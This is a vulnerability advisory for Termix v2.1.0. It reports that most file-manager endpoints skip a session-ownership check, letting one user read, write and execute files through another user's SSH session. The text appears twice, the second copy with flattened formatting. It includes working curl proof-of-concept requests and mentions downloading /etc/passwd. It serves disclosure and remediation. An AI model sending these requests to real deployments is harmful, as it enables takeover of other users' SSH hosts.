Summary
16 file-manager endpoints in Termix v2.1.0 do not verify that the requesting user owns the SSH session identified by sessionId. An authenticated attacker who knows or guesses another user's active sessionId can read, write, delete, download, and execute files on the victim's connected SSH host.
- CWE-639: Authorization Bypass Through User-Controlled Key (IDOR)
Details
A verifySessionOwnership(session, userId) helper exists and is called on listFiles, status, keepalive, and sudo-password. However, all other file-manager endpoints — including resolvePath, readFile, writeFile, uploadFile, downloadFile, executeFile, deleteItem, renameItem, moveItem, createFile, createFolder, changePermissions, extractArchive, compressFiles, and identifySymlink — look up sshSessions[sessionId] directly without comparing the session's userId to the JWT's userId.
Proof of Concept
Prerequisites
- Two users: Alice (victim with active file-manager session) and Bob (attacker)
- Bob knows Alice's
sessionId value (e.g., sess-alice-1)
Steps to Reproduce
- Alice connects a file-manager session:
curl -b "$ALICE_COOKIES" -X POST https://target/ssh/file_manager/ssh/connect \
-H "Content-Type: application/json" \
-d '{"sessionId":"sess-alice-1","ip":"192.168.1.100","port":22,"username":"testuser","password":"testpass","authType":"password"}'
- Bob reads files on Alice's host using Alice's session:
curl -b "$BOB_COOKIES" "https://target/ssh/file_manager/ssh/readFile?sessionId=sess-alice-1&path=/etc/hostname"
# Response: {"content":"victim-host\n","path":"/etc/hostname","encoding":"utf8"}
- Bob writes to Alice's host:
curl -b "$BOB_COOKIES" -X POST https://target/ssh/file_manager/ssh/writeFile \
-H "Content-Type: application/json" \
-d '{"sessionId":"sess-alice-1","path":"/tmp/idor-test","content":"IDOR_PROOF"}'
# Response: {"message":"File written successfully"}
- Bob executes commands on Alice's host:
curl -b "$BOB_COOKIES" -X POST https://target/ssh/file_manager/ssh/executeFile \
-H "Content-Type: application/json" \
-d '{"sessionId":"sess-alice-1","filePath":"/usr/bin/id"}'
# Response: {"success":true,"exitCode":0,"output":"uid=1000(testuser) gid=1000(users) groups=1000(users)\nEXIT_CODE:0"}
Verified Result (2026-05-05)
All of the above returned successful responses. Bob (non-admin) was able to read /etc/hostname, write /tmp/idor-test (confirmed on target: IDOR_PROOF), execute /usr/bin/id, and download /etc/passwd via Alice's active session. Only listFiles returned "Session access denied".
Impact
Complete takeover of another user's SSH session — full read/write/delete/execute on the victim's connected SSH host. The attacker only needs to know the victim's sessionId (a client-generated UUID).
Remediation
Add verifySessionOwnership(session, userId) check to every endpoint that accesses sshSessions[sessionId]. Also generate sessionId server-side (return it from connect) instead of trusting the client.
Summary
16 file-manager endpoints in Termix v2.1.0 do not verify that the requesting user owns the SSH session identified by
sessionId. An authenticated attacker who knows or guesses another user's activesessionIdcan read, write, delete, download, and execute files on the victim's connected SSH host.Details
A
verifySessionOwnership(session, userId)helper exists and is called onlistFiles,status,keepalive, andsudo-password. However, all other file-manager endpoints — includingresolvePath,readFile,writeFile,uploadFile,downloadFile,executeFile,deleteItem,renameItem,moveItem,createFile,createFolder,changePermissions,extractArchive,compressFiles, andidentifySymlink— look upsshSessions[sessionId]directly without comparing the session'suserIdto the JWT'suserId.Proof of Concept
Prerequisites
sessionIdvalue (e.g.,sess-alice-1)Steps to Reproduce
Verified Result (2026-05-05)
All of the above returned successful responses. Bob (non-admin) was able to read
/etc/hostname, write/tmp/idor-test(confirmed on target:IDOR_PROOF), execute/usr/bin/id, and download/etc/passwdvia Alice's active session. OnlylistFilesreturned "Session access denied".Impact
Complete takeover of another user's SSH session — full read/write/delete/execute on the victim's connected SSH host. The attacker only needs to know the victim's
sessionId(a client-generated UUID).Remediation
Add
verifySessionOwnership(session, userId)check to every endpoint that accessessshSessions[sessionId]. Also generatesessionIdserver-side (return it fromconnect) instead of trusting the client.